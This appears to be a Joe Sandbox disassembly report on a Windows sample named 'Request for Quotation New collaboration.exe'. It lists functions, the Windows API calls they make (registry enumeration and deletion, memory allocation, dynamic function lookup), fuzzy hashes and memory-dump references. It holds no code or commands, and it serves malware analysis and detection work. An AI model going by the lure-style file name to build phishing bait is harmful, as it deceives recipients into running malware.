Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction ID: 78b67de6d16717a489960d5e53e23e1f77e1f7f38f635152e8b2699b13fa448d
Opcode Fuzzy Hash: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction Fuzzy Hash: EAF06270504108ABEF205F50CD4ABAE3768BB00309F00803AFA16B91D0CBF95959DF59

Function 100022EB Relevance: 9.1, APIs: 6, Instructions: 134memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 10002391
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100023B2
CLSIDFromString.OLE32(?,00000000), ref: 100023BF
GlobalAlloc.KERNEL32(00000040), ref: 100023DD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023F8
GlobalFree.KERNEL32(00000000), ref: 1000241A

Memory Dump Source

Source File: 00000000.00000002.2037060970.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2037043192.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037076720.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037093643.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Global$Alloc$ByteCharFreeFromMultiStringWidelstrlen
String ID:
API String ID: 3579998418-0
Opcode ID: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction ID: 896c08f96dc03187adf01b888d28386c50d9513e33e57f95a3092ffc5e904c0a
Opcode Fuzzy Hash: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction Fuzzy Hash: A3419FB4504706EFF324DF249C94A6A77E8FB443D0F11892DF98AC6199CB34AA94CB61

Function 100018C1 Relevance: 7.7, APIs: 5, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalFree.KERNEL32(?), ref: 10001928
GlobalFree.KERNEL32(?), ref: 10001AB9
GlobalFree.KERNEL32(?), ref: 10001ABE

Memory Dump Source

Source File: 00000000.00000002.2037060970.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2037043192.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037076720.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037093643.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quotation New collaboration.jbxd

Similarity

API ID: FreeGlobal$lstrcpy
String ID:
API String ID: 176019282-0
Opcode ID: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction ID: 5f977143e903dceeb219282147683d12af406f102b63ffa8563e92424d473d54
Opcode Fuzzy Hash: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction Fuzzy Hash: B451B736F01119DAFF10DFA488815EDB7F5FB463D0B228169E804A311CDB75AF419B92

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction ID: ada95b61e8ad34ac3bb2ad29be3e5f3f7733698153a8948b25f67961a2a4c07b
Opcode Fuzzy Hash: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction Fuzzy Hash: 2E113D7190400CFEEF21AF90DE89DAE3B79EB54348F10447AFA05B10A0D3759E51EA69

Function 10001617 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002167,?,00000808), ref: 1000162F
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002167,?,00000808), ref: 10001636
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002167,?,00000808), ref: 1000164A
GetProcAddress.KERNEL32(10002167,00000000), ref: 10001651
GlobalFree.KERNEL32(00000000), ref: 1000165A

Memory Dump Source

Source File: 00000000.00000002.2037060970.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2037043192.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037076720.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037093643.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quotation New collaboration.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 489282a1a85ab549aaf4814a5337f0dda84e369b99e1904d90d03a31c2257fb7
Instruction ID: 62a37a396924b9b833916b179176740e0848b2f5cedec3081aefe4e9105dc113
Opcode Fuzzy Hash: 489282a1a85ab549aaf4814a5337f0dda84e369b99e1904d90d03a31c2257fb7
Instruction Fuzzy Hash: F0F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35

Function 00401D41 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD88), ref: 00401DBC

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 2e0cf1ae7789b1e5f567ac3b49d0821904878b54da257bbf53db2f94e685cd66
Instruction ID: 3b80acf522b7bf2f021413e8febbbf72b8f641a50adb0d53ac9f1aa9edf06097
Opcode Fuzzy Hash: 2e0cf1ae7789b1e5f567ac3b49d0821904878b54da257bbf53db2f94e685cd66
Instruction Fuzzy Hash: DF01D131948280AFEB016BB0AE0BB9ABF74DF95301F144479F245B62E2C77914049F7E

Function 00404978 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004226D0,004226D0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A09
wsprintfW.USER32 ref: 00404A12
SetDlgItemTextW.USER32(?,004226D0), ref: 00404A25

Strings

%u.%u%s%s, xrefs: 004049F3

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
Instruction ID: 6b2e2e184c3c611d12d6b53aa9198873543b26f6782fca7c8cbe4a2e3a07221a
Opcode Fuzzy Hash: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
Instruction Fuzzy Hash: 1411E2736001243BCB10A66D9C45EEF368D9BC6334F180637FA29F61D1DA799C2186EC

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction ID: 3450dd174e4bd499bd5dd80d9ee349d4783428bbf063aee010979b0fef1ae38f
Opcode Fuzzy Hash: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction Fuzzy Hash: D8217471A44109BEEF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00405DB7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405DE1
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E02
RegCloseKey.ADVAPI32(?,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E25

Strings

Call, xrefs: 00405DBA

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction ID: 2fd967afc3cf920b801d0ff69ba4d64ac6492d281fb7c7a5729fe10eb95daac3
Opcode Fuzzy Hash: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction Fuzzy Hash: F4011A3255020AEADB219F56ED09EDB3BACEF85350F00403AF945D6260D335EA64DBF9

Function 00405935 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403344,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,00403512), ref: 0040593B
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403344,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,00403512), ref: 00405945
lstrcatW.KERNEL32(?,00409014), ref: 00405957

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405935

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-297319885
Opcode ID: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction ID: 6247f5a3c9563be90945cd41d23768fa590745b080056b24a315d5606c671452
Opcode Fuzzy Hash: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction Fuzzy Hash: E5D05E21101921AAC21277448C04DDF669CEE45300384002AF200B20A2CB7C1D518BFD

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction ID: 0d64a3d5d22a86ce83a9b45ae5cd800923300da454a86426803db7941f711343
Opcode Fuzzy Hash: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction Fuzzy Hash: 76113675A00208AFDB00DFA5C945DAEBBB9EF04344F20407AF905F62A1D7349E50CB68

Function 100015CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,10001259,?,?,10001534,?,10001020,10001019,00000001), ref: 10001225

lstrcpyW.KERNEL32(00000000,10004020,00000000,10001749,00000000), ref: 100015E5
wsprintfW.USER32 ref: 1000160A

Strings

s<u, xrefs: 1000160A

Memory Dump Source

Source File: 00000000.00000002.2037060970.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2037043192.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037076720.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037093643.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quotation New collaboration.jbxd

Similarity

API ID: AllocGloballstrcpywsprintf
String ID: s<u
API String ID: 2689062267-779365171
Opcode ID: b666731ea850b0db34310f966fc1483e79c072b1553816228d181fcf3b6ead58
Instruction ID: 1bcf6e6733af89869fae1c20b53ab816a204ac51a82716e0e01f59040c2558f4
Opcode Fuzzy Hash: b666731ea850b0db34310f966fc1483e79c072b1553816228d181fcf3b6ead58
Instruction Fuzzy Hash: F8E0D830600821E7F121D7649C44ACD37A8FF412E67164115F706E618DCB228A424689

Function 0040381F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,76F92EE0,004037F6,76F93420,00403621,?), ref: 00403839
GlobalFree.KERNEL32(?), ref: 00403840

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403831

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-297319885
Opcode ID: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
Instruction ID: bf490ea997193b46d556285b385326fb3516ec302950e4cd11f154ac4515a356
Opcode Fuzzy Hash: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
Instruction Fuzzy Hash: F9E0C23394102057C7216F15ED04B1ABBE86F89B22F018476F9407B7A283746C528BED

Function 00405981 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Request for Quotation New collaboration.exe,C:\Users\user\Desktop\Request for Quotation New collaboration.exe,80000000,00000003), ref: 00405987
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Request for Quotation New collaboration.exe,C:\Users\user\Desktop\Request for Quotation New collaboration.exe,80000000,00000003), ref: 00405997

Strings

C:\Users\user\Desktop, xrefs: 00405981

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
